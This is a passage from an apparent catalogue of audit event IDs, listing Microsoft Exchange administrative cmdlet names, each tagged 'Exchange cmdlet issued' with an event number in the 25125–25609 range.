Disable-CmdletExtensionAgent Exchange cmdlet issued Exchange 25125 Disable-DistributionGroup Exchange cmdlet issued Exchange 25126 Disable-InboxRule Exchange cmdlet issued Exchange 25127 Disable-JournalRule Exchange cmdlet issued Exchange 25128 Disable-Mailbox Exchange cmdlet issued Exchange 25129 Disable-MailContact Exchange cmdlet issued Exchange 25130 Disable-MailPublicFolder Exchange cmdlet issued Exchange 25131 Disable-MailUser Exchange cmdlet issued Exchange 25132 Disable-OutlookAnywhere Exchange cmdlet issued Exchange 25133 Disable-OutlookProtectionRule Exchange cmdlet issued Exchange 25134 Disable-RemoteMailbox Exchange cmdlet issued Exchange 25135 Disable-ServiceEmailChannel Exchange cmdlet issued Exchange 25136 Disable-TransportAgent Exchange cmdlet issued Exchange 25137 Disable-TransportRule Exchange cmdlet issued Exchange 25138 Disable-UMAutoAttendant Exchange cmdlet issued Exchange 25139 Disable-UMIPGateway Exchange cmdlet issued Exchange 25140 Disable-UMMailbox Exchange cmdlet issued Exchange 25141 Disable-UMServer Exchange cmdlet issued Exchange 25142 Dismount-Database Exchange cmdlet issued Exchange 25143 Enable-AddressListPaging Exchange cmdlet issued Exchange 25144 Enable-AntispamUpdates Exchange cmdlet issued Exchange 25145 Enable-CmdletExtensionAgent Exchange cmdlet issued Exchange 25146 Enable-DistributionGroup Exchange cmdlet issued Exchange 25147 Enable-ExchangeCertificate Exchange cmdlet issued Exchange 25148 Enable-InboxRule Exchange cmdlet issued Exchange 25149 Enable-JournalRule Exchange cmdlet issued Exchange 25150 Enable-Mailbox Exchange cmdlet issued Exchange 25151 Enable-MailContact Exchange cmdlet issued Exchange 25152 Enable-MailPublicFolder Exchange cmdlet issued Exchange 25153 Enable-MailUser Exchange cmdlet issued Exchange 25154 Enable-OutlookAnywhere Exchange cmdlet issued Exchange 25155 Enable-OutlookProtectionRule Exchange cmdlet issued Exchange 25156 Enable-RemoteMailbox Exchange cmdlet issued Exchange 25157 Enable-ServiceEmailChannel Exchange cmdlet issued Exchange 25158 Enable-TransportAgent Exchange cmdlet issued Exchange 25159 Enable-TransportRule Exchange cmdlet issued Exchange 25160 Enable-UMAutoAttendant Exchange cmdlet issued Exchange 25161 Enable-UMIPGateway Exchange cmdlet issued Exchange 25162 Enable-UMMailbox Exchange cmdlet issued Exchange 25163 Enable-UMServer Exchange cmdlet issued Exchange 25164 Export-ActiveSyncLog Exchange cmdlet issued Exchange 25165 Export-AutoDiscoverConfig Exchange cmdlet issued Exchange 25166 Export-ExchangeCertificate Exchange cmdlet issued Exchange 25167 Export-JournalRuleCollection Exchange cmdlet issued Exchange 25168 Export-MailboxDiagnosticLogs Exchange cmdlet issued Exchange 25169 Export-Message Exchange cmdlet issued Exchange 25170 Export-RecipientDataProperty Exchange cmdlet issued Exchange 25171 Export-TransportRuleCollection Exchange cmdlet issued Exchange 25172 Export-UMCallDataRecord Exchange cmdlet issued Exchange 25173 Export-UMPrompt Exchange cmdlet issued Exchange 25174 Import-ExchangeCertificate Exchange cmdlet issued Exchange 25175 Import-JournalRuleCollection Exchange cmdlet issued Exchange 25176 Import-RecipientDataProperty Exchange cmdlet issued Exchange 25177 Import-TransportRuleCollection Exchange cmdlet issued Exchange 25178 Import-UMPrompt Exchange cmdlet issued Exchange 25179 Install-TransportAgent Exchange cmdlet issued Exchange 25180 Mount-Database Exchange cmdlet issued Exchange 25181 Move-ActiveMailboxDatabase Exchange cmdlet issued Exchange 25182 Move-AddressList Exchange cmdlet issued Exchange 25183 Move-DatabasePath Exchange cmdlet issued Exchange 25184 Move-OfflineAddressBook Exchange cmdlet issued Exchange 25185 New-AcceptedDomain Exchange cmdlet issued Exchange 25186 New-ActiveSyncDeviceAccessRule Exchange cmdlet issued Exchange 25187 New-ActiveSyncMailboxPolicy Exchange cmdlet issued Exchange 25188 New-ActiveSyncVirtualDirectory Exchange cmdlet issued Exchange 25189 New-AddressList Exchange cmdlet issued Exchange 25190 New-AdminAuditLogSearch Exchange cmdlet issued Exchange 25191 New-AutodiscoverVirtualDirectory Exchange cmdlet issued Exchange 25192 New-AvailabilityReportOutage Exchange cmdlet issued Exchange 25193 New-ClientAccessArray Exchange cmdlet issued Exchange 25194 New-DatabaseAvailabilityGroup Exchange cmdlet issued Exchange 25195 New-DatabaseAvailabilityGroupNetwork Exchange cmdlet issued Exchange 25196 New-DeliveryAgentConnector Exchange cmdlet issued Exchange 25197 New-DistributionGroup Exchange cmdlet issued Exchange 25198 New-DynamicDistributionGroup Exchange cmdlet issued Exchange 25199 New-EcpVirtualDirectory Exchange cmdlet issued Exchange 25200 New-EdgeSubscription Exchange cmdlet issued Exchange 25201 New-EdgeSyncServiceConfig Exchange cmdlet issued Exchange 25202 New-EmailAddressPolicy Exchange cmdlet issued Exchange 25203 New-ExchangeCertificate Exchange cmdlet issued Exchange 25204 New-FederationTrust Exchange cmdlet issued Exchange 25205 New-ForeignConnector Exchange cmdlet issued Exchange 25206 New-GlobalAddressList Exchange cmdlet issued Exchange 25207 New-InboxRule Exchange cmdlet issued Exchange 25208 New-JournalRule Exchange cmdlet issued Exchange 25209 New-Mailbox Exchange cmdlet issued Exchange 25210 New-MailboxAuditLogSearch Exchange cmdlet issued Exchange 25211 New-MailboxDatabase Exchange cmdlet issued Exchange 25212 New-MailboxFolder Exchange cmdlet issued Exchange 25213 New-MailboxRepairRequest Exchange cmdlet issued Exchange 25214 New-MailboxRestoreRequest Exchange cmdlet issued Exchange 25215 New-MailContact Exchange cmdlet issued Exchange 25216 New-MailMessage Exchange cmdlet issued Exchange 25217 New-MailUser Exchange cmdlet issued Exchange 25218 New-ManagedContentSettings Exchange cmdlet issued Exchange 25219 New-ManagedFolder Exchange cmdlet issued Exchange 25220 New-ManagedFolderMailboxPolicy Exchange cmdlet issued Exchange 25221 New-ManagementRole Exchange cmdlet issued Exchange 25222 New-ManagementRoleAssignment Exchange cmdlet issued Exchange 25223 New-ManagementScope Exchange cmdlet issued Exchange 25224 New-MessageClassification Exchange cmdlet issued Exchange 25225 New-MoveRequest Exchange cmdlet issued Exchange 25226 New-OabVirtualDirectory Exchange cmdlet issued Exchange 25227 New-OfflineAddressBook Exchange cmdlet issued Exchange 25228 New-OrganizationRelationship Exchange cmdlet issued Exchange 25229 New-OutlookProtectionRule Exchange cmdlet issued Exchange 25230 New-OutlookProvider Exchange cmdlet issued Exchange 25231 New-OwaMailboxPolicy Exchange cmdlet issued Exchange 25232 New-OwaVirtualDirectory Exchange cmdlet issued Exchange 25233 New-PublicFolder Exchange cmdlet issued Exchange 25234 New-PublicFolderDatabase Exchange cmdlet issued Exchange 25235 New-PublicFolderDatabaseRepairRequest Exchange cmdlet issued Exchange 25236 New-ReceiveConnector Exchange cmdlet issued Exchange 25237 New-RemoteDomain Exchange cmdlet issued Exchange 25238 New-RemoteMailbox Exchange cmdlet issued Exchange 25239 New-RetentionPolicy Exchange cmdlet issued Exchange 25240 New-RetentionPolicyTag Exchange cmdlet issued Exchange 25241 New-RoleAssignmentPolicy Exchange cmdlet issued Exchange 25242 New-RoleGroup Exchange cmdlet issued Exchange 25243 New-RoutingGroupConnector Exchange cmdlet issued Exchange 25244 New-RpcClientAccess Exchange cmdlet issued Exchange 25245 New-SendConnector Exchange cmdlet issued Exchange 25246 New-SharingPolicy Exchange cmdlet issued Exchange 25247 New-SystemMessage Exchange cmdlet issued Exchange 25248 New-ThrottlingPolicy Exchange cmdlet issued Exchange 25249 New-TransportRule Exchange cmdlet issued Exchange 25250 New-UMAutoAttendant Exchange cmdlet issued Exchange 25251 New-UMDialPlan Exchange cmdlet issued Exchange 25252 New-UMHuntGroup Exchange cmdlet issued Exchange 25253 New-UMIPGateway Exchange cmdlet issued Exchange 25254 New-UMMailboxPolicy Exchange cmdlet issued Exchange 25255 New-WebServicesVirtualDirectory Exchange cmdlet issued Exchange 25256 New-X400AuthoritativeDomain Exchange cmdlet issued Exchange 25257 Remove-AcceptedDomain Exchange cmdlet issued Exchange 25258 Remove-ActiveSyncDevice Exchange cmdlet issued Exchange 25259 Remove-ActiveSyncDeviceAccessRule Exchange cmdlet issued Exchange 25260 Remove-ActiveSyncDeviceClass Exchange cmdlet issued Exchange 25261 Remove-ActiveSyncMailboxPolicy Exchange cmdlet issued Exchange 25262 Remove-ActiveSyncVirtualDirectory Exchange cmdlet issued Exchange 25263 Remove-AddressList Exchange cmdlet issued Exchange 25264 Remove-ADPermission Exchange cmdlet issued Exchange 25265 Remove-AutodiscoverVirtualDirectory Exchange cmdlet issued Exchange 25266 Remove-AvailabilityAddressSpace Exchange cmdlet issued Exchange 25267 Remove-AvailabilityReportOutage Exchange cmdlet issued Exchange 25268 Remove-ClientAccessArray Exchange cmdlet issued Exchange 25269 Remove-ContentFilterPhrase Exchange cmdlet issued Exchange 25270 Remove-DatabaseAvailabilityGroup Exchange cmdlet issued Exchange 25271 Remove-DatabaseAvailabilityGroupNetwork Exchange cmdlet issued Exchange 25272 Remove-DatabaseAvailabilityGroupServer Exchange cmdlet issued Exchange 25273 Remove-DeliveryAgentConnector Exchange cmdlet issued Exchange 25274 Remove-DistributionGroup Exchange cmdlet issued Exchange 25275 Remove-DistributionGroupMember Exchange cmdlet issued Exchange 25276 Remove-DynamicDistributionGroup Exchange cmdlet issued Exchange 25277 Remove-EcpVirtualDirectory Exchange cmdlet issued Exchange 25278 Remove-EdgeSubscription Exchange cmdlet issued Exchange 25279 Remove-EmailAddressPolicy Exchange cmdlet issued Exchange 25280 Remove-ExchangeCertificate Exchange cmdlet issued Exchange 25281 Remove-FederatedDomain Exchange cmdlet issued Exchange 25282 Remove-FederationTrust Exchange cmdlet issued Exchange 25283 Remove-ForeignConnector Exchange cmdlet issued Exchange 25284 Remove-GlobalAddressList Exchange cmdlet issued Exchange 25285 Remove-InboxRule Exchange cmdlet issued Exchange 25286 Remove-IPAllowListEntry Exchange cmdlet issued Exchange 25287 Remove-IPAllowListProvider Exchange cmdlet issued Exchange 25288 Remove-IPBlockListEntry Exchange cmdlet issued Exchange 25289 Remove-IPBlockListProvider Exchange cmdlet issued Exchange 25290 Remove-JournalRule Exchange cmdlet issued Exchange 25291 Remove-Mailbox Exchange cmdlet issued Exchange 25292 Remove-MailboxDatabase Exchange cmdlet issued Exchange 25293 Remove-MailboxDatabaseCopy Exchange cmdlet issued Exchange 25294 Remove-MailboxFolderPermission Exchange cmdlet issued Exchange 25295 Remove-MailboxPermission Exchange cmdlet issued Exchange 25296 Remove-MailboxRestoreRequest Exchange cmdlet issued Exchange 25297 Remove-MailContact Exchange cmdlet issued Exchange 25298 Remove-MailUser Exchange cmdlet issued Exchange 25299 Remove-ManagedContentSettings Exchange cmdlet issued Exchange 25300 Remove-ManagedFolder Exchange cmdlet issued Exchange 25301 Remove-ManagedFolderMailboxPolicy Exchange cmdlet issued Exchange 25302 Remove-ManagementRole Exchange cmdlet issued Exchange 25303 Remove-ManagementRoleAssignment Exchange cmdlet issued Exchange 25304 Remove-ManagementRoleEntry Exchange cmdlet issued Exchange 25305 Remove-ManagementScope Exchange cmdlet issued Exchange 25306 Remove-Message Exchange cmdlet issued Exchange 25307 Remove-MessageClassification Exchange cmdlet issued Exchange 25308 Remove-MoveRequest Exchange cmdlet issued Exchange 25309 Remove-OabVirtualDirectory Exchange cmdlet issued Exchange 25310 Remove-OfflineAddressBook Exchange cmdlet issued Exchange 25311 Remove-OrganizationRelationship Exchange cmdlet issued Exchange 25312 Remove-OutlookProtectionRule Exchange cmdlet issued Exchange 25313 Remove-OutlookProvider Exchange cmdlet issued Exchange 25314 Remove-OwaMailboxPolicy Exchange cmdlet issued Exchange 25315 Remove-OwaVirtualDirectory Exchange cmdlet issued Exchange 25316 Remove-PublicFolder Exchange cmdlet issued Exchange 25317 Remove-PublicFolderAdministrativePermission Exchange cmdlet issued Exchange 25318 Remove-PublicFolderClientPermission Exchange cmdlet issued Exchange 25319 Remove-PublicFolderDatabase Exchange cmdlet issued Exchange 25320 Remove-ReceiveConnector Exchange cmdlet issued Exchange 25321 Remove-RemoteDomain Exchange cmdlet issued Exchange 25322 Remove-RemoteMailbox Exchange cmdlet issued Exchange 25323 Remove-RetentionPolicy Exchange cmdlet issued Exchange 25324 Remove-RetentionPolicyTag Exchange cmdlet issued Exchange 25325 Remove-RoleAssignmentPolicy Exchange cmdlet issued Exchange 25326 Remove-RoleGroup Exchange cmdlet issued Exchange 25327 Remove-RoleGroupMember Exchange cmdlet issued Exchange 25328 Remove-RoutingGroupConnector Exchange cmdlet issued Exchange 25329 Remove-RpcClientAccess Exchange cmdlet issued Exchange 25330 Remove-SendConnector Exchange cmdlet issued Exchange 25331 Remove-SharingPolicy Exchange cmdlet issued Exchange 25332 Remove-StoreMailbox Exchange cmdlet issued Exchange 25333 Remove-SystemMessage Exchange cmdlet issued Exchange 25334 Remove-ThrottlingPolicy Exchange cmdlet issued Exchange 25335 Remove-TransportRule Exchange cmdlet issued Exchange 25336 Remove-UMAutoAttendant Exchange cmdlet issued Exchange 25337 Remove-UMDialPlan Exchange cmdlet issued Exchange 25338 Remove-UMHuntGroup Exchange cmdlet issued Exchange 25339 Remove-UMIPGateway Exchange cmdlet issued Exchange 25340 Remove-UMMailboxPolicy Exchange cmdlet issued Exchange 25341 Remove-WebServicesVirtualDirectory Exchange cmdlet issued Exchange 25342 Remove-X400AuthoritativeDomain Exchange cmdlet issued Exchange 25343 Restore-DatabaseAvailabilityGroup Exchange cmdlet issued Exchange 25344 Restore-DetailsTemplate Exchange cmdlet issued Exchange 25345 Restore-Mailbox Exchange cmdlet issued Exchange 25346 Resume-MailboxDatabaseCopy Exchange cmdlet issued Exchange 25347 Resume-MailboxExportRequest Exchange cmdlet issued Exchange 25348 Resume-MailboxRestoreRequest Exchange cmdlet issued Exchange 25349 Resume-Message Exchange cmdlet issued Exchange 25350 Resume-MoveRequest Exchange cmdlet issued Exchange 25351 Resume-PublicFolderReplication Exchange cmdlet issued Exchange 25352 Resume-Queue Exchange cmdlet issued Exchange 25353 Retry-Queue Exchange cmdlet issued Exchange 25354 Send-TextMessagingVerificationCode Exchange cmdlet issued Exchange 25355 Set-AcceptedDomain Exchange cmdlet issued Exchange 25356 Set-ActiveSyncDeviceAccessRule Exchange cmdlet issued Exchange 25357 Set-ActiveSyncMailboxPolicy Exchange cmdlet issued Exchange 25358 Set-ActiveSyncOrganizationSettings Exchange cmdlet issued Exchange 25359 Set-ActiveSyncVirtualDirectory Exchange cmdlet issued Exchange 25360 Set-AddressList Exchange cmdlet issued Exchange 25361 Set-AdminAuditLogConfig Exchange cmdlet issued Exchange 25362 Set-ADServerSettings Exchange cmdlet issued Exchange 25363 Set-ADSite Exchange cmdlet issued Exchange 25364 Set-AdSiteLink Exchange cmdlet issued Exchange 25365 Set-AutodiscoverVirtualDirectory Exchange cmdlet issued Exchange 25366 Set-AvailabilityConfig Exchange cmdlet issued Exchange 25367 Set-AvailabilityReportOutage Exchange cmdlet issued Exchange 25368 Set-CalendarNotification Exchange cmdlet issued Exchange 25369 Set-CalendarProcessing Exchange cmdlet issued Exchange 25370 Set-CASMailbox Exchange cmdlet issued Exchange 25371 Set-ClientAccessArray Exchange cmdlet issued Exchange 25372 Set-ClientAccessServer Exchange cmdlet issued Exchange 25373 Set-CmdletExtensionAgent Exchange cmdlet issued Exchange 25374 Set-Contact Exchange cmdlet issued Exchange 25375 Set-ContentFilterConfig Exchange cmdlet issued Exchange 25376 Set-DatabaseAvailabilityGroup Exchange cmdlet issued Exchange 25377 Set-DatabaseAvailabilityGroupNetwork Exchange cmdlet issued Exchange 25378 Set-DeliveryAgentConnector Exchange cmdlet issued Exchange 25379 Set-DetailsTemplate Exchange cmdlet issued Exchange 25380 Set-DistributionGroup Exchange cmdlet issued Exchange 25381 Set-DynamicDistributionGroup Exchange cmdlet issued Exchange 25382 Set-EcpVirtualDirectory Exchange cmdlet issued Exchange 25383 Set-EdgeSyncServiceConfig Exchange cmdlet issued Exchange 25384 Set-EmailAddressPolicy Exchange cmdlet issued Exchange 25385 Set-EventLogLevel Exchange cmdlet issued Exchange 25386 Set-ExchangeAssistanceConfig Exchange cmdlet issued Exchange 25387 Set-ExchangeServer Exchange cmdlet issued Exchange 25388 Set-FederatedOrganizationIdentifier Exchange cmdlet issued Exchange 25389 Set-FederationTrust Exchange cmdlet issued Exchange 25390 Set-ForeignConnector Exchange cmdlet issued Exchange 25391 Set-GlobalAddressList Exchange cmdlet issued Exchange 25392 Set-Group Exchange cmdlet issued Exchange 25393 Set-ImapSettings Exchange cmdlet issued Exchange 25394 Set-InboxRule Exchange cmdlet issued Exchange 25395 Set-IPAllowListConfig Exchange cmdlet issued Exchange 25396 Set-IPAllowListProvider Exchange cmdlet issued Exchange 25397 Set-IPAllowListProvidersConfig Exchange cmdlet issued Exchange 25398 Set-IPBlockListConfig Exchange cmdlet issued Exchange 25399 Set-IPBlockListProvider Exchange cmdlet issued Exchange 25400 Set-IPBlockListProvidersConfig Exchange cmdlet issued Exchange 25401 Set-IRMConfiguration Exchange cmdlet issued Exchange 25402 Set-JournalRule Exchange cmdlet issued Exchange 25403 Set-Mailbox Exchange cmdlet issued Exchange 25404 Set-MailboxAuditBypassAssociation Exchange cmdlet issued Exchange 25405 Set-MailboxAutoReplyConfiguration Exchange cmdlet issued Exchange 25406 Set-MailboxCalendarConfiguration Exchange cmdlet issued Exchange 25407 Set-MailboxCalendarFolder Exchange cmdlet issued Exchange 25408 Set-MailboxDatabase Exchange cmdlet issued Exchange 25409 Set-MailboxDatabaseCopy Exchange cmdlet issued Exchange 25410 Set-MailboxFolderPermission Exchange cmdlet issued Exchange 25411 Set-MailboxJunkEmailConfiguration Exchange cmdlet issued Exchange 25412 Set-MailboxMessageConfiguration Exchange cmdlet issued Exchange 25413 Set-MailboxRegionalConfiguration Exchange cmdlet issued Exchange 25414 Set-MailboxRestoreRequest Exchange cmdlet issued Exchange 25415 Set-MailboxServer Exchange cmdlet issued Exchange 25416 Set-MailboxSpellingConfiguration Exchange cmdlet issued Exchange 25417 Set-MailContact Exchange cmdlet issued Exchange 25418 Set-MailPublicFolder Exchange cmdlet issued Exchange 25419 Set-MailUser Exchange cmdlet issued Exchange 25420 Set-ManagedContentSettings Exchange cmdlet issued Exchange 25421 Set-ManagedFolder Exchange cmdlet issued Exchange 25422 Set-ManagedFolderMailboxPolicy Exchange cmdlet issued Exchange 25423 Set-ManagementRoleAssignment Exchange cmdlet issued Exchange 25424 Set-ManagementRoleEntry Exchange cmdlet issued Exchange 25425 Set-ManagementScope Exchange cmdlet issued Exchange 25426 Set-MessageClassification Exchange cmdlet issued Exchange 25427 Set-MoveRequest Exchange cmdlet issued Exchange 25428 Set-OabVirtualDirectory Exchange cmdlet issued Exchange 25429 Set-OfflineAddressBook Exchange cmdlet issued Exchange 25430 Set-OrganizationConfig Exchange cmdlet issued Exchange 25431 Set-OrganizationRelationship Exchange cmdlet issued Exchange 25432 Set-OutlookAnywhere Exchange cmdlet issued Exchange 25433 Set-OutlookProtectionRule Exchange cmdlet issued Exchange 25434 Set-OutlookProvider Exchange cmdlet issued Exchange 25435 Set-OwaMailboxPolicy Exchange cmdlet issued Exchange 25436 Set-OwaVirtualDirectory Exchange cmdlet issued Exchange 25437 Set-PopSettings Exchange cmdlet issued Exchange 25438 Set-PowerShellVirtualDirectory Exchange cmdlet issued Exchange 25439 Set-PublicFolder Exchange cmdlet issued Exchange 25440 Set-PublicFolderDatabase Exchange cmdlet issued Exchange 25441 Set-ReceiveConnector Exchange cmdlet issued Exchange 25442 Set-RecipientFilterConfig Exchange cmdlet issued Exchange 25443 Set-RemoteDomain Exchange cmdlet issued Exchange 25444 Set-RemoteMailbox Exchange cmdlet issued Exchange 25445 Set-ResourceConfig Exchange cmdlet issued Exchange 25446 Set-RetentionPolicy Exchange cmdlet issued Exchange 25447 Set-RetentionPolicyTag Exchange cmdlet issued Exchange 25448 Set-RoleAssignmentPolicy Exchange cmdlet issued Exchange 25449 Set-RoleGroup Exchange cmdlet issued Exchange 25450 Set-RoutingGroupConnector Exchange cmdlet issued Exchange 25451 Set-RpcClientAccess Exchange cmdlet issued Exchange 25452 Set-SendConnector Exchange cmdlet issued Exchange 25453 Set-SenderFilterConfig Exchange cmdlet issued Exchange 25454 Set-SenderIdConfig Exchange cmdlet issued Exchange 25455 Set-SenderReputationConfig Exchange cmdlet issued Exchange 25456 Set-SharingPolicy Exchange cmdlet issued Exchange 25457 Set-SystemMessage Exchange cmdlet issued Exchange 25458 Set-TextMessagingAccount Exchange cmdlet issued Exchange 25459 Set-ThrottlingPolicy Exchange cmdlet issued Exchange 25460 Set-ThrottlingPolicyAssociation Exchange cmdlet issued Exchange 25461 Set-TransportAgent Exchange cmdlet issued Exchange 25462 Set-TransportConfig Exchange cmdlet issued Exchange 25463 Set-TransportRule Exchange cmdlet issued Exchange 25464 Set-TransportServer Exchange cmdlet issued Exchange 25465 Set-UMAutoAttendant Exchange cmdlet issued Exchange 25466 Set-UMDialPlan Exchange cmdlet issued Exchange 25467 Set-UMIPGateway Exchange cmdlet issued Exchange 25468 Set-UMMailbox Exchange cmdlet issued Exchange 25469 Set-UMMailboxPIN Exchange cmdlet issued Exchange 25470 Set-UMMailboxPolicy Exchange cmdlet issued Exchange 25471 Set-UmServer Exchange cmdlet issued Exchange 25472 Set-User Exchange cmdlet issued Exchange 25473 Set-WebServicesVirtualDirectory Exchange cmdlet issued Exchange 25474 Set-X400AuthoritativeDomain Exchange cmdlet issued Exchange 25475 Start-DatabaseAvailabilityGroup Exchange cmdlet issued Exchange 25476 Start-EdgeSynchronization Exchange cmdlet issued Exchange 25477 Start-ManagedFolderAssistant Exchange cmdlet issued Exchange 25478 Start-RetentionAutoTagLearning Exchange cmdlet issued Exchange 25479 Stop-DatabaseAvailabilityGroup Exchange cmdlet issued Exchange 25480 Stop-ManagedFolderAssistant Exchange cmdlet issued Exchange 25481 Suspend-MailboxDatabaseCopy Exchange cmdlet issued Exchange 25482 Suspend-MailboxRestoreRequest Exchange cmdlet issued Exchange 25483 Suspend-Message Exchange cmdlet issued Exchange 25484 Suspend-MoveRequest Exchange cmdlet issued Exchange 25485 Suspend-PublicFolderReplication Exchange cmdlet issued Exchange 25486 Suspend-Queue Exchange cmdlet issued Exchange 25487 Test-ActiveSyncConnectivity Exchange cmdlet issued Exchange 25488 Test-AssistantHealth Exchange cmdlet issued Exchange 25489 Test-CalendarConnectivity Exchange cmdlet issued Exchange 25490 Test-EcpConnectivity Exchange cmdlet issued Exchange 25491 Test-EdgeSynchronization Exchange cmdlet issued Exchange 25492 Test-ExchangeSearch Exchange cmdlet issued Exchange 25493 Test-FederationTrust Exchange cmdlet issued Exchange 25494 Test-FederationTrustCertificate Exchange cmdlet issued Exchange 25495 Test-ImapConnectivity Exchange cmdlet issued Exchange 25496 Test-IPAllowListProvider Exchange cmdlet issued Exchange 25497 Test-IPBlockListProvider Exchange cmdlet issued Exchange 25498 Test-IRMConfiguration Exchange cmdlet issued Exchange 25499 Test-Mailflow Exchange cmdlet issued Exchange 25500 Test-MAPIConnectivity Exchange cmdlet issued Exchange 25501 Test-MRSHealth Exchange cmdlet issued Exchange 25502 Test-OrganizationRelationship Exchange cmdlet issued Exchange 25503 Test-OutlookConnectivity Exchange cmdlet issued Exchange 25504 Test-OutlookWebServices Exchange cmdlet issued Exchange 25505 Test-OwaConnectivity Exchange cmdlet issued Exchange 25506 Test-PopConnectivity Exchange cmdlet issued Exchange 25507 Test-PowerShellConnectivity Exchange cmdlet issued Exchange 25508 Test-ReplicationHealth Exchange cmdlet issued Exchange 25509 Test-SenderId Exchange cmdlet issued Exchange 25510 Test-ServiceHealth Exchange cmdlet issued Exchange 25511 Test-SmtpConnectivity Exchange cmdlet issued Exchange 25512 Test-SystemHealth Exchange cmdlet issued Exchange 25513 Test-UMConnectivity Exchange cmdlet issued Exchange 25514 Test-WebServicesConnectivity Exchange cmdlet issued Exchange 25515 Uninstall-TransportAgent Exchange cmdlet issued Exchange 25516 Update-AddressList Exchange cmdlet issued Exchange 25517 Update-DistributionGroupMember Exchange cmdlet issued Exchange 25518 Update-EmailAddressPolicy Exchange cmdlet issued Exchange 25519 Update-FileDistributionService Exchange cmdlet issued Exchange 25520 Update-GlobalAddressList Exchange cmdlet issued Exchange 25521 Update-MailboxDatabaseCopy Exchange cmdlet issued Exchange 25522 Update-OfflineAddressBook Exchange cmdlet issued Exchange 25523 Update-PublicFolder Exchange cmdlet issued Exchange 25524 Update-PublicFolderHierarchy Exchange cmdlet issued Exchange 25525 Update-Recipient Exchange cmdlet issued Exchange 25526 Update-RoleGroupMember Exchange cmdlet issued Exchange 25527 Update-SafeList Exchange cmdlet issued Exchange 25528 Write-AdminAuditLog Exchange cmdlet issued Exchange 25529 Add-GlobalMonitoringOverride Exchange cmdlet issued Exchange 25530 Add-ResubmitRequest Exchange cmdlet issued Exchange 25531 Add-ServerMonitoringOverride Exchange cmdlet issued Exchange 25532 Clear-MobileDevice Exchange cmdlet issued Exchange 25533 Complete-MigrationBatch Exchange cmdlet issued Exchange 25534 Disable-App Exchange cmdlet issued Exchange 25535 Disable-MailboxQuarantine Exchange cmdlet issued Exchange 25536 Disable-UMCallAnsweringRule Exchange cmdlet issued Exchange 25537 Disable-UMService Exchange cmdlet issued Exchange 25538 Dump-ProvisioningCache Exchange cmdlet issued Exchange 25539 Enable-App Exchange cmdlet issued Exchange 25540 Enable-MailboxQuarantine Exchange cmdlet issued Exchange 25541 Enable-UMCallAnsweringRule Exchange cmdlet issued Exchange 25542 Enable-UMService Exchange cmdlet issued Exchange 25543 Export-DlpPolicyCollection Exchange cmdlet issued Exchange 25544 Export-MigrationReport Exchange cmdlet issued Exchange 25545 Import-DlpPolicyCollection Exchange cmdlet issued Exchange 25546 Import-DlpPolicyTemplate Exchange cmdlet issued Exchange 25547 Invoke-MonitoringProbe Exchange cmdlet issued Exchange 25548 New-AddressBookPolicy Exchange cmdlet issued Exchange 25549 New-App Exchange cmdlet issued Exchange 25550 New-AuthServer Exchange cmdlet issued Exchange 25551 New-ClassificationRuleCollection Exchange cmdlet issued Exchange 25552 New-DlpPolicy Exchange cmdlet issued Exchange 25553 New-HybridConfiguration Exchange cmdlet issued Exchange 25554 New-MailboxExportRequest Exchange cmdlet issued Exchange 25555 New-MailboxImportRequest Exchange cmdlet issued Exchange 25556 New-MailboxSearch Exchange cmdlet issued Exchange 25557 New-MalwareFilterPolicy Exchange cmdlet issued Exchange 25558 New-MigrationBatch Exchange cmdlet issued Exchange 25559 New-MigrationEndpoint Exchange cmdlet issued Exchange 25560 New-MobileDeviceMailboxPolicy Exchange cmdlet issued Exchange 25561 New-OnPremisesOrganization Exchange cmdlet issued Exchange 25562 New-PartnerApplication Exchange cmdlet issued Exchange 25563 New-PolicyTipConfig Exchange cmdlet issued Exchange 25564 New-PowerShellVirtualDirectory Exchange cmdlet issued Exchange 25565 New-PublicFolderMigrationRequest Exchange cmdlet issued Exchange 25566 New-ResourcePolicy Exchange cmdlet issued Exchange 25567 New-SiteMailboxProvisioningPolicy Exchange cmdlet issued Exchange 25568 New-SyncMailPublicFolder Exchange cmdlet issued Exchange 25569 New-UMCallAnsweringRule Exchange cmdlet issued Exchange 25570 New-WorkloadManagementPolicy Exchange cmdlet issued Exchange 25571 New-WorkloadPolicy Exchange cmdlet issued Exchange 25572 Redirect-Message Exchange cmdlet issued Exchange 25573 Remove-AddressBookPolicy Exchange cmdlet issued Exchange 25574 Remove-App Exchange cmdlet issued Exchange 25575 Remove-AuthServer Exchange cmdlet issued Exchange 25576 Remove-ClassificationRuleCollection Exchange cmdlet issued Exchange 25577 Remove-DlpPolicy Exchange cmdlet issued Exchange 25578 Remove-DlpPolicyTemplate Exchange cmdlet issued Exchange 25579 Remove-GlobalMonitoringOverride Exchange cmdlet issued Exchange 25580 Remove-HybridConfiguration Exchange cmdlet issued Exchange 25581 Remove-LinkedUser Exchange cmdlet issued Exchange 25582 Remove-MailboxExportRequest Exchange cmdlet issued Exchange 25583 Remove-MailboxImportRequest Exchange cmdlet issued Exchange 25584 Remove-MailboxSearch Exchange cmdlet issued Exchange 25585 Remove-MalwareFilterPolicy Exchange cmdlet issued Exchange 25586 Remove-MalwareFilterRecoveryItem Exchange cmdlet issued Exchange 25587 Remove-MigrationBatch Exchange cmdlet issued Exchange 25588 Remove-MigrationEndpoint Exchange cmdlet issued Exchange 25589 Remove-MigrationUser Exchange cmdlet issued Exchange 25590 Remove-MobileDevice Exchange cmdlet issued Exchange 25591 Remove-MobileDeviceMailboxPolicy Exchange cmdlet issued Exchange 25592 Remove-OnPremisesOrganization Exchange cmdlet issued Exchange 25593 Remove-PartnerApplication Exchange cmdlet issued Exchange 25594 Remove-PolicyTipConfig Exchange cmdlet issued Exchange 25595 Remove-PowerShellVirtualDirectory Exchange cmdlet issued Exchange 25596 Remove-PublicFolderMigrationRequest Exchange cmdlet issued Exchange 25597 Remove-ResourcePolicy Exchange cmdlet issued Exchange 25598 Remove-ResubmitRequest Exchange cmdlet issued Exchange 25599 Remove-SiteMailboxProvisioningPolicy Exchange cmdlet issued Exchange 25600 Remove-UMCallAnsweringRule Exchange cmdlet issued Exchange 25601 Remove-UserPhoto Exchange cmdlet issued Exchange 25602 Remove-WorkloadManagementPolicy Exchange cmdlet issued Exchange 25603 Remove-WorkloadPolicy Exchange cmdlet issued Exchange 25604 Reset-ProvisioningCache Exchange cmdlet issued Exchange 25605 Resume-MailboxImportRequest Exchange cmdlet issued Exchange 25606 Resume-MalwareFilterRecoveryItem Exchange cmdlet issued Exchange 25607 Resume-PublicFolderMigrationRequest Exchange cmdlet issued Exchange 25608 Set-ActiveSyncDeviceAccessRule Exchange cmdlet issued Exchange 25609 